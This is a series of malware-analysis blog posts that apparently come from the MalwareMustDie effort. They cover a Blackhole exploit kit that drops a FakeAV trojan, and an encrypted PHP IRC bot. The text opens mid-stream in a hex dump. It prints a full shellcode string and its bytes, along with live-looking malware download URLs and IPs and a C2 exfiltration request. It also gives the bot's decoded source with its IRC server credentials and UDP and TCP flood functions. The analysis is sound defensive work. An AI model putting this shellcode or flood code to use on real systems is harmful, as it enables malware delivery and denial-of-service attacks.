d7 d7 ca d1 c0 28 28 28 28 70 78 42 68 4O d7 28
28 28 78 ab e8 31 78 7d a3 c4 a3 76 38 ab eb 2d
d7 cb 40 47 46 28 28 40 5d 5a 44 45 7c d7 3e ab
ec 20 a3 c0 c0 49 d7 d7 d7 c3 2a c3 5a a9 c4 2c
29 28 28 a5 74 0c 24 ef 2c 0c 5a 4d 4f 5b ef 6c
0c 2c 5e 5a 1b 1a ef 6c 0c 2O 08 O5 5b 08 7b 40
d0 28 28 28 d7 7e 24 a3 c0 1b e1 79 ef 6c 35 28
5f 58 4a 5c ef 6c 35 2d 06 4c 44 44 ee 6c 35 21
28 71 a2 e9 2c 18 a0 6c 35 2c 69 79 42 28 42 28
7b 7f 42 28 d7 7e 3c ad e8 5d 3e 42 28 7b d7 7e
2c 42 28 ab c3 24 7b d7 7e 2c ab eb 24 c3 2a c3
3b 6f a8 17 28 5d d2 6f a8 17 28 5d ec 42 28 42
d6 d7 7e 2O cO b4 d6 d7 d7 a6 66 26 c4 b0 d6 a2
26 a1 47 29 95 1b e2 a2 73 33 ee 6e 51 1e 32 07
58 40 5c 5c 58 12 07 07 10 1d 06 19 1f 06 1d 10
06 19 1a 1b 07 5f 06 58 40 58 17 4e 15 11 1f 4c
19 11 0e 4d 15 19 28 28
which means we got ANOTHER kernel32.dll loading urlmon.dll to download
from h00p://85.17.58.123/w.php?f=97d19&e=1 & saved it into the
legendary path C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll and
executing, register it as service (I called it daemonized..) in to your PC.
So, We have the OTHER parameter:
h00p://85.17.58.123/w.php?f=97d19&e=1
Which actually a NEW parameter replacing the previous:
h00p://85.17.58.123/w.php?f=97d19&e=3
Let's check it out:--21:48:17-- http://85.17.58.123/w.php?f=97d19
=> `w.php@f=97d19'
Connecting to 85.17.58.123:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 116,224 (114K) [application/x-msdownload]
100%[====================================>] 116,224 58.65K/s
21:48:21 (58.60 KB/s) - `w.php@f=97d19' saved [116224/116224]
↑Eureka! We have the payload now!! ;-))
The payload looks like this:
Is a binary with the below details:PE File w/sections:
.text 0x1000 0x1783b 96768
.rdata 0x19000 0x2e0e 12288
.data 0x1c000 0xb3b8 3584
.CRT 0x28000 0x8 512
.rsrc 0x29000 0x6e0 2048
Type:
os windows
arch i386
bits 32
endian little
Information:
Entry Point: 0xef20
CRC Failed: Claimed: 0 Actual: 168005
Compile Time: 2012-09-05 / 0x50470F86
[Wed Sep 05 08:38:30 2012 UTC]
LangID: 080904b0
LegalCopyright: Copyright \xa9 Linkworld
InternalName: Horrid Cake Manager
FileVersion: 7.1.0
CompanyName: Linkworld
ProductName: Horrid Cake Manager
ProductVersion: 7.1.0
FileDescription: Horrid Cake Manager
OriginalFilename: horridcakemanager.exe
List of DLL Calls:
USER32.dll.GetActiveWindow Hint[256]
USER32.dll.EndDialog Hint[218]
USER32.dll.EnumDesktopsA Hint[226]
USER32.dll.OemKeyScan Hint[544]
USER32.dll.ValidateRect Hint[796]
USER32.dll.SetPropA Hint[684]
USER32.dll.DialogBoxParamA Hint[171]
USER32.dll.SetWindowPos Hint[710]
USER32.dll.IsCharAlphaNumericW Hint[451]
ole32.dll.CoFreeLibrary Hint[28]
ole32.dll.CoAllowSetForegroundWindow Hint[10]
ole32.dll.OleFlushClipboard Hint[301]
KERNEL32.dll.GetCurrentProcessId Hint[449]
KERNEL32.dll.CopyFileW Hint[117]
KERNEL32.dll.CreateProcessW Hint[168]
KERNEL32.dll.HeapDestroy Hint[718]
KERNEL32.dll.SetFileAttributesA Hint[1118]
KERNEL32.dll.AddAtomW Hint[4]
KERNEL32.dll.DeleteAtom Hint[207]
KERNEL32.dll.HeapFree Hint[719]
KERNEL32.dll.LocalAlloc Hint[836]
KERNEL32.dll.LocalFree Hint[840]
KERNEL32.dll.GetProcAddress Hint[581]
KERNEL32.dll.LoadLibraryA Hint[828]
KERNEL32.dll.GetStartupInfoA Hint[610]
KERNEL32.dll.HeapCreate Hint[717]
KERNEL32.dll.QueryPerformanceCounter Hint[935]
KERNEL32.dll.GetTickCount Hint[659]
KERNEL32.dll.GetCurrentThreadId Hint[453]
KERNEL32.dll.InitializeSListHead Hint[743]
KERNEL32.dll.LoadLibraryExW Hint[830]
KERNEL32.dll.GlobalMemoryStatus Hint[703]
When I found it only can be detected by 3(three) antivirus products below:Fortinet : W32/Androm.DW!tr
Norman : W32/Kryptik.BTJ
ESET-NOD32 : a variant of Win32/Kryptik.ALKD
Now you can see this result in Virus Total :
MD5: 30efb4286ae4a761eb072136cd90e618
File size: 113.5 KB ( 116224 bytes )
File name: horridcakemanager.exe
File type: DOS EXE
Tags: peexe mz
Detection ratio: 5 / 42
Analysis date: 2012-09-05 15:53:26 UTC
URL: ---->>[CLICK]
It is actually the Trojan Spy and downloader of FakeAV.
Below is the details of infection:
If you runs it, It will run as malicious process:
your PC will search for the domains below:
and sending your PC information encrupted to the mothership
eith the POST/HTTP command to xxx-xxx.pro/fgrgrg14er8g.phpPOST /fgrgrg14er8g.php HTTP/1.0
Host: xxx-xxx.pro
Accept: */*
Accept-Encoding: identity, *;q=0
Content-Length: 179
Connection: close
Content-Type: application/octet-stream
Content-Encoding: binary
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
CRYPTED0.q..SP....(.&..
....
I..}bW..k".'w...N.m.....bS..!....1].....N...N..........
jt..8!=..Z ...;Hjq.3.x`>.?~.Z}..........{.).(....iJ.Y...
/2%..>\...N..]8l....i..gk.u.[.q.hS..Y.'
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 05 Sep 2012 15:02:43 GMT
Content-Type: text/html; charset=windows-1251
Content-Length: 16
Connection: close
X-Powered-By: PHP/5.3.15
Vary: Accept-Encoding,User-Agent
STATUS-IMPORT-OK
↑You saw it there, right there, is encrypted information of your PC:CRYPTED0.q..SP....(.&..
....
I..}bW..k".'w...N.m.....bS..!....1].....N...N..........
jt..8!=..Z ...;Hjq.3.x`>.?~.Z}..........{.).(....iJ.Y...
/2%..>\...N..]8l....i..gk.u.[.q.hS..Y.'
While in the background that process is downloading OTHER MALWARE from www-www.pro
with the below PoC:GET /setup.exe HTTP/1.0
Host: www-www.pro
Accept: */*
Accept-Encoding: identity, *;q=0
Connection: close
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 05 Sep 2012 15:02:44 GMT
Content-Type: application/x-msdownload
Content-Length: 422912
Connection: close
Last-Modified: Wed, 05 Sep 2012 15:00:05 GMT
ETag: "10c0015-67400-4c8f5a14999e1"
Accept-Ranges: bytes
MZ......................@.............
..................................!..L.!
This program cannot be run in DOS mode.
$...................................S..
.............................A...........
Rich....................PE..L....T.H.....
...........J...p...............P...
↑for your information, is a malware binary setup.exe,
it will be saved in your %Temp% directory and copied under random name,
then in will be executed like this:
Which is the FakeAV of Live Security Platinum, with the LIVE pic here:
You can search about this FakeAV in Google here-->>[CLICK]
PS, the domain info dropped this Fake AV,
both WWW-WWW.PRO and XXX-XXX.PRO have same owner.Domain Name:WWW-WWW.PRO
Created On:29-Aug-2012 06:36:15 UTC
Last Updated On:29-Aug-2012 06:37:22 UTC
Expiration Date:29-Aug-2013 06:36:15 UTC
Domain ID:D245073-PRO
Domain Name:XXX-XXX.PRO
Created On:29-Aug-2012 06:36:15 UTC
Last Updated On:29-Aug-2012 06:37:51 UTC
Expiration Date:29-Aug-2013 06:36:15 UTC
Sponsoring Registrar:Click Registrar, Inc.
dba publicdomainregistry.com (R2410-PRO)
Status:CLIENT TRANSFER PROHIBITED
Status:TRANSFER PROHIBITED
Registrant ID:CR_18687182
Registrant Name:Mikluxo Maklay
Registrant Organization:N/A
Registrant Street1:ul Lenina
Registrant Street2:
Registrant Street3:
Registrant City:Jopinsk
Registrant State/Province:Grevenmacher
Registrant Postal Code:745812
Registrant Country:LU
Registrant Phone:+7.9001234567
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email:oknbook@hotmail.com
So, what's the moral of this hunting?1. Never ever thinking of giving up against these crooks.
We are much smarter than these guys, this added with better morality & integrity.
2. Focus into your objectivity, and stay focus on it.
3. Pray, I am telling you we need it to stay lucky ;-)
Thứ Ba, 4 tháng 9, 2012
00:34
nam tóc xù
#MalwareMustDie!
This is a quickie, found the infection of this PHP/IRC Bot or PBot at about the
same time just now at the below URLshxxp://www.hoopsavvy.com/mods//bt.php
hxxp://www.gepec.cat/mods//bt.php
hxxp://www.cyclocentrum.pl/mods//bt.php
http://www.yallastore.com/OS%20Commerce/images/pb.jpg.php
hxxp://my.smouth.com/mods//bt.php
The last one URL is under reports & someone is doing quick job to take it down-
then rest is on the way to go. These are the same stuffs, an IRC PHP/Bot,
currently can be detected by the Virus Total checks with the below result:MD5: 61cfa5c0f84d014fe0e61ebbcb27c469
File size: 16.5 KB ( 16904 bytes )
File name: bt.php
File type: PHP/text
DetRatio: 12 / 42
Date: 2012-09-04 05:47:54 UTC ( 0 分 ago )
URL:---->>>[CLICK]
Malware Names:
F-Prot : PHP/Pbot.G
VIPRE : Backdoor.PHP.IRCBot.bu (v)
AntiVir : PHP/PBot.A
McAfee-GW-Edition : Heuristic.BehavesLike.JS.Suspicious.G
Emsisoft : Backdoor.PHP.IRCBot!IK
ClamAV : PHP.Bot-1
GData : PHP:IRCBot-AC
Microsoft : Backdoor:PHP/IRCbot.F
Ikarus : Backdoor.PHP.IRCBot
Commtouch : PHP/Pbot.G
K7AntiVirus : Backdoor
Avast : PHP:IRCBot-AC [Trj]
↑not bad for the detection ratio, even-though strongly encrypted.
better than I expected 12 AntiVirus products can detect this malware.
Well it is nothing new, it's actually the PHP/IRC Bot file which was injected to -
some vulnerable web base CMS (Wordpress/Joomla/etc) which can be executed via -
malicious URL like I found in the Google DORK like below:(1) hxxp://www.kvon.com/index.php?p=http:/xxx/mods/bt.php?
^^^^^^^^^^^^^
↑watch for this service!
(2) Or access/execute directly the infected url from the IRC shell command.
This evil code was spread by gang.sexpil.net, a to some linux bots.
Some are hosted in US at Truckee Softcom America Inc network & was starting
infection this similar script since firstly detected on May this year.
If found massive infection of this code at here and there, mostly WordPress,
and looks like noone decode/decrypt this code, so I did it.
Same ones, was named gangbang.angels-agency.nl or gangbang.mytijn.org -
If you use these mentioned 3 keywords in Google DORK you can get as much
info as possible to trace the infections & their infected codes.
Boy, how they like wording like "gang" or "gangbang" ;-) (Hint!)
Another way to monitor the infection of this Pbot is using DORK w/below command:"inurl:/mods/bt.php"
So what's so special about this Pbot?
If you see inside of this file you'll find encrypted texts(not too so special either),
you can see the pastebin of the full code here-->>[CLICK] in case the hosts are down.
The POINT is, this time, the way this PBot was encrypted is a new one,
let me explain further:
Usually the PHP/IRC Bot using encoded text w/ base64_decode() or str_rot13() or-
the cascaded/combination of it, but this one is different.
Let's see the snip header of this code:＜?php set_time_limit(0); session_start(); error_reporting(0);
class qEZkBKNkBEhhZNKkB {
/* YEzzSKr0Y0SXAUUZx2eDq6j8hFtH7BIW58lNJDExtnlU75KvXOYeL8
dSDwqBXZoTYAxx32Vnf68 */
var $hhnwhekTEZHQbqh = array("EqqhZeqBHwKEktQN"=＞"gang.sexpil.net",
"BZZZ"=＞"43000",
"eehWH"=＞"scary",
"eEzhWH"=＞"13",
"KkZQkbh"=＞"#wWw#",
"KKE"=＞"scan",
"tqNNeBnbB"=＞"41aa15390e2efa34ac693c3bd7cb8e88",
"khEtenzHNE"=＞".",
"BwqNthWtnHb"=＞"a87710e60dee7645081a8fc2fab74dbd");
var $users = array();
/* CC33EDub4mmxOITIemebmdXgv2Tdxiv0LoTfSehNqta41UC66H8iKV
p5N89bhu1SJLYrP545p5Z */
function gjPsjVGDJm($to,$msg)
{
$this-＞sMDDmyG("NOTICE $to :$msg");
}
function sAaMMVvp($host)
{
unset($this-＞users[$host]);
}
function AVaJpJVggMJVj()
{
if(!($this-＞xLrFucxxR = fsockopen($this-＞hhnwhekTEZHQbqh['EqqhZeqBHwKEktQN'],
$this-＞hhnwhekTEZHQbqh['BZZZ'],$e,$s,30)))
$this-＞AVaJpJVggMJVj();
$this-＞gmpMAGVVjVJVSdjyJ();
if(strlen($this-＞hhnwhekTEZHQbqh['eehWH'])＞0)
$this-＞sMDDmyG("PASS ".$this-＞hhnwhekTEZHQbqh['eehWH']);
$this-＞DGvAsjsSmgpPAyJJ();
$this-＞VmGpdmJsymmagm();
}
:
:
// and so on...
It actually uses the encryption key/chiper to crack this kind of code.
maybe someone w/CTF skills at DefCon would lend a hand for this to crack it faster,
but w/my average skills I did crack this in say within 45 minutes...
The result was like this :class pBot {
var $config = array("server"=>"gang.sexpil.net",
"port"=>"43000",
"pass"=>"scary",
"maxrand"=>"13",
"chan"=>"#wWw#",
"key"=>"scan",
"password"=>"41aa15390e2efa34ac693c3bd7cb8e88",
"trigger"=>".",
"hostauth"=>"a87710e60dee7645081a8fc2fab74dbd");
var $users = array();
function notice($to,$msg)
{
$this->send("NOTICE $to :$msg");
}
function log_out($host)
{
unset($this->users[$host]);
}
function start()
{
if(!($this->conn = fsockopen($this->config['server'],
$this->config['port'],$e,$s,30)))
$this->start();
$this->set_ident();
if(strlen($this->config['pass'])>0)
$this->send("PASS ".$this->config['pass']);
$this->set_nick();
$this->main();
function log_in($host)
{
$this->users[$host] = true;
}
function udpflood($host,$packetsize,$time) {
$this->privmsg($this->config['chan'],
"[\2UdpFlood Started!\2]");
$packet = "";
for($i=0;$i＜$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
$timei = time();
$i = 0;
while(time()-$timei ＜ $time) {
$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$i++;
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'],
"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
}
function hostinfo() {
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{ $safemode = "\0034ON\003"; }
else { $safemode = "\0039OFF\003"; }
$unme = php_uname();
if($unme == "") { $mname = "\00315---\003"; }
else { $mname = "\00315".$unme."\003"; }
$url = "\00315http://".$_SERVER['SERVER_NAME']."
".$_SERVER['REQUEST_URI']."\003";
$pth = "\00315".getcwd()."\003";
$pthh = getcwd()."";
$perms = fileperms("$pthh");
if (($perms & 0xC000) == 0xC000) { $info = 's';
} elseif (($perms & 0xA000) == 0xA000) { $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) { $info = '-';
} elseif (($perms & 0x6000) == 0x6000) { $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) { $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) { $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) { $info = 'p';
} else { $info = 'u'; }
}
function privmsg($to,$msg)
{
$this->send("PRIVMSG $to :$msg");
}
:
// and so on... ;-)
As per snipped decoded script above it has the login environments to IRC
thus the code for launching DoS via UDP Flood.
then operations of taking and sending out credentials of infected host..
After decoded it right you'll also see the TCP flood function below:function tcpflood($host,$packets,$packetsize,$port,$delay)
{
$this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++)
$packet .= chr(mt_rand(1,256));
for($i=0;$i<$packets;$i++)
{
if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
{
$this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
return 0;
}
else
{
fwrite($fp,$packet);
fclose($fp);
}
sleep($delay);
}
$this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]:
Config - $packets pacotes para $host:$port.");
}
And of course the longest part of the code is control system of this bot-
via IRC channels, like nicknaming, commanding and etc etc..
Based on the language they are using it is coded by a Dutch coder, it has this textKon bestand niet downloaden. Toestemming geweigerd
(Could not download file. permission denied)
So what is thing Pbot does and what should we care?1. Hacker injected your CMS with this script for the remote execution.
2. It can be used to Flood/DoS other machines cia IRC control.
3. It sends your credential of to the mother ships via IRC channel
4. Letting this evil code in your server can make your service blacklisted
for the DoS attack you never even commit.
Just let me know if you need a full decoded code, but that is -
AFTER you are proving me that you are not one of "them" ;-) (no offense)
Chủ Nhật, 2 tháng 9, 2012
00:48
nam tóc xù
If you read of what I wrote before about "What can Exploit Kit do & drop? Full story of spam to malwares" (Link is-->>>HERE), it has 2(two) samples, the story ended up in one sample which its download link was plainly written in the deobfuscaded code after document.write.
Bad luck for them, we moved fast! #MalwareMustDie Rocks!
But actually it has the shellcode to drop another sample too, which in that story the download was failed (url is not there anymore)
While continuing busting malwares this weekend, I keep on being curious about what that shellcode can drop, can't help myself so I went to search the similar infected sites who's having the same pattern of infection code with the ALIVE dropped shellcode. And shortly, I bumped into some. In this report I am revealing it as details as possible. So, here we go.
The bottom line is malware distributors starts to put some new infection payload by today for this blackhole scheme, maybe after making and checking some more undetectable binaries.
Starting with this infected URL:hxxp://festosikal.ru/main.php?page=11d2ab70b8479897
It's typically blackhole, so I downloaded examine the code, here's the download proof:--14:08:50-- http://festosikal.ru/main.php?page=11d2ab70b8479897
=> `main.php@page=11d2ab70b8479897'
Resolving festosikal.ru... 94.185.83.78
Connecting to festosikal.ru|94.185.83.78|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
[ <=> ] 85,004 55.13K/s
14:08:54 (55.04 KB/s) - `main.php@page=11d2ab70b8479897' saved [85004]
Detection in VT is very poor (one AV can detectlike this):MD5: 195c80106a724da3d146419466e3e0c3
File size: 83.0 KB ( 85004 bytes )
File name: main.php@page=11d2ab70b8479897
File type: HTML
DetecRatio: 1 / 42
AnalysisDate:2012-09-02 07:20:19 UTC ( 0 分 ago )
URL --->>> [CLICK]
It is a full obfuscated HTML from top to bottom, no trace of injection,
Assuming the blackhole exploit kit is in 94.185.83.78 (which I am on it after I wrote this).
The snip is as per below:
↑You can see the the eval will be gathered in the first script while the second script
is actually reading the obfuscated code stored in the ＜b＞tag, with that know-how
we can deobfs it like I pasted in this link -->>> [PASTEBIN RAW TXT]
The deobfs code has the redirected message and code:document.write('＜center>＜h1>Please wait page is loading...
＜/h1>＜/center>＜hr>');
function end_redirect(){
I confirmed tt has detection plugin of your browser's name, User Agent, OS, & having
code to drop mess to your browser according to the result as per explained in
the previous posted writing (again, link is -->>>HERE).
Frankly, is a marvellous code.
This script as aiming wether possible or not to execute its shellcode,
it considers the java exploit to runs it like the coded below:PluginDetect.initScript();
PluginDetect.getVersion(".");
pdfver = PluginDetect.getVersion("AdobeReader");
flashver = PluginDetect.getVersion('Flash');
javaver = PluginDetect.getVersion('Java', 'getJavaInfo.jar');
With the coded shellcode raws as per below:function getShellCode（）{
if (1){
return "
%u4141%u4141%u8366%ufce4%uebfc%u5810%uc931%u8166%u57e9%u80fe%u2830
%ue240%uebfa%ue805%uffeb%uffff%uccad%u1c5d%u77c1%ue81b%ua34c%u1868
%u68a3%ua324%u3458%ua37e%u205e%uf31b%ua34e%u1476%u5c2b%u041b%uc6a9
%u383d%ud7d7%ua390%u1868%u6eeb%u2e11%ud35d%u1caf%uad0c%u5dcc%uc179
%u64c3%u7e79%u5da3%ua314%u1d5c%u2b50%u7edd%u5ea3%u2b08%u1bdd%u61e1
%ud469%u2b85%u1bed%u27f3%u3896%uda10%u205c%ue3e9%u2b25%u68f2%ud9c3
%u3713%uce5d%ua376%u0c76%uf52b%ua34e%u6324%u6ea5%ud7c4%u0c7c%ua324
%u2bf0%ua3f5%ua32c%ued2b%u7683%ueb71%u7bc3%ua385%u0840%u55a8%u1b24
%u2b5c%uc3be%ua3db%u2040%udfa3%u2d42%uc071%ud7b0%ud7d7%ud1ca%u28c0
%u2828%u7028%u4278%u4068%u28d7%u2828%uab78%u31e8%u7d78%uc4a3%u76a3
%uab38%u2deb%ucbd7%u4740%u2846%u4028%u5a5d%u4544%ud77c%uab3e%u20ec
%uc0a3%u49c0%ud7d7%uc3d7%uc32a%ua95a%u2cc4%u2829%ua528%u0c74%uef24
%u0c2c%u4d5a%u5b4f%u6cef%u2c0c%u5a5e%u1a1b%u6cef%u200c%u0508%u085b
%u407b%u28d0%u2828%u7ed7%ua324%u1bc0%u79e1%u6cef%u2835%u585f%u5c4a
%u6cef%u2d35%u4c06%u4444%u6cee%u2135%u7128%ue9a2%u182c%u6ca0%u2c35
%u7969%u2842%u2842%u7f7b%u2842%u7ed7%uad3c%u5de8%u423e%u7b28%u7ed7
%u422c%uab28%u24c3%ud77b%u2c7e%uebab%uc324%uc32a%u6f3b%u17a8%u5d28
%u6fd2%u17a8%u5d28%u42ec%u4228%ud7d6%u207e%ub4c0%ud7d6%ua6d7%u2666
%ub0c4%ua2d6%ua126%u2947%u1b95%ua2e2%u3373%u6eee%u1e51%u0732%u4058
%u5c5c%u1258%u0707%u4d4e%u5c5b%u5b47%u4341%u4449%u5a06%u075d%u065f
%u4058%u1758%u154e%u4e4b%u1b1a%u0e1c%u154d%u2819%u0028";
Now I knew I met what I was searching for, and see what's inside of it.
Just simply execute the deobfs code to get the shellcode data in the secure RAT,
and getting those:41 41 41 41 66 83 e4 fc fc eb 10 58 31 c9 66 81
e9 57 fe 80 30 28 40 e2 fa eb 05 e8 eb ff ff ff
ad cc 5d 1c c1 77 1b e8 4c a3 68 18 a3 68 24 a3
58 34 7e a3 5e 20 1b f3 4e a3 76 14 2ｂ 5c 1b 04
a9 c6 3d 38 d7 d7 90 a3 68 18 eb 6e 11 2e 5d d3
af 1c 0c ad cc 5d 79 c1 c3 64 79 7e a3 5d 14 a3
5c 1d 50 2b dd 7e a3 5e 08 2b dd 1b e1 61 69 d4
85 2b ed 1b f3 27 96 38 10 da 5c 20 e9 e3 25 2b
f2 68 c3 d9 13 37 5d ce 76 a3 76 0c 2ｂ f5 4e a3
24 63 a5 6e c4 d7 7c 0c 24 a3 f0 2b f5 a3 2c a3
2b ed 83 76 71 eb c3 7b 85 a3 40 08 a8 55 24 1b
5c 2b be c3 db a3 40 20 a3 df 42 2d 71 c0 b0 d7
d7 d7 ca d1 c0 28 28 28 28 70 78 42 68 40 d7 28
28 28 78 ab e8 31 78 7d a3 c4 a3 76 38 ab eb 2d
d7 cb 40 47 46 28 28 40 5d 5a 44 45 7c d7 3e ab
ec 20 a3 c0 c0 49 d7 d7 d7 c3 2a c3 5a a9 c4 2c
29 28 28 a5 74 0c 24 ef 2c 0c 5a 4d 4f 5ｂ ef 6c
0c 2c 5e 5a 1b 1a ef 6c 0c 20 08 05 5b 08 7b 40
d0 28 28 28 d7 7e 24 a3 c0 1b e1 79 ef 6c 35 28
5f 58 4a 5c ef 6c 35 2d 06 4c 44 44 ee 6c 35 21
28 71 a2 e9 2c 18 a0 6c 35 2c 69 79 42 28 42 28
7b 7f 42 28 d7 7e 3c ad e8 5d 3e 42 28 7b d7 7e
2c 42 28 ab c3 24 7b d7 7e 2c ab eb 24 c3 2a c3
3b 6f a8 17 28 5d d2 6f a8 17 28 5d ec 42 28 42
d6 d7 7e 20 c0 b4 d6 d7 d7 a6 66 26 c4 ｂ0 d6 a2
26 a1 47 29 95 1b e2 a2 73 33 ee 6e 51 1e 32 07
58 40 5c 5c 58 12 07 07 4e 4d 5b 5c 47 5b 41 43
49 44 06 5a 5d 07 5f 06 58 40 58 17 4e 15 4b 4e
1a 1b 1c 0e 4d 15 19 28 28 00
（I modified it for not to be executed as per pasted）
↑You know the drill of handling this don't you?
By experience, I bruteforced this shellcode to get into payload url.
My tools snapshot is below:
So after some hacks, we have a payload to be downloaded below:hxxp://festosikal.ru/w.php?f=cf234&e=1
And the shellcode runs like this:It uses the kernel32.dll to run urlmon.dll and executing the calls to execute:
1. kernel32.VirtualProtect(lpAddress=0x4020cf, dwSize=255) //prep
2. kernel32.LoadLibraryA(lpFileName=urlmon) // loading urlmon.dll
3. kernel32.GetTempPathA(lpBuffer=0x22fc60, nBufferLength=248,
[lpBuffer=C:\DOCUME~1\Administrator\LOCALS~1\Temp\]) //prep the place to drop
4. urlmon.URLDownloadToFileA(pCaller=0,
szURL=http://festosikal.ru/w.php?f=cf234&e=1, lpfnCB=0x0,
szFileName=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll)
//download malware and saved it to droppath naming it with wpbt0.dll
5. kernel32.WinExec
(lpCmdLine=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll, uCmdShow=0)
// executing the saved malware
6. kernel32.WinExec
(lpCmdLine=regsvr32 -s C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll,
uCmdShow=0) // registering it into process
7. kernel32.TerminateThread(dwExitCode=0) //clean exit
*) noted that all command is silently executed (uCmdShow=0)
So let's check of what this shellcode downloaded:--14:13:19-- hxxp://festosikal.ru/w.php?f=cf234
=> `w.php@f=cf234'
Resolving festosikal.ru... 94.185.83.78
Connecting to festosikal.ru|94.185.83.78|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 302,592 (296K) [application/x-msdownload]
100%[====================================>] 302,592 78.13K/s ETA 00:00
14:13:24 (77.90 KB/s) - `w.php@f=cf234' saved [302592/302592]
Saved it well, let's follow the shellcode logic to see
the real face of this malware :
I analyzed this malware and uploaded it to VirusTotal to find only 2 (two)-
AntiVirus products detecting it, wrote my analysis on VT page to share;
MD5: 917f28808696ba2a2c3f441824866f02
File size: 295.5 KB ( 302592 bytes )
File name: UpgradeHelper.exe
File type: DOS EXE
Detection ratio: 2 / 42
Analysis date: 2012-09-02 07:21:07 UTC ( 0 分 ago )
URL----------->>>[CLICK]
↑looks like we are (MalwareMustDie OP)the first who uploade this malware in VirusTotal ;-)
Bad luck for them, we moved fast! #MalwareMustDie Rocks!
Đăng ký:
Bài đăng (Atom)
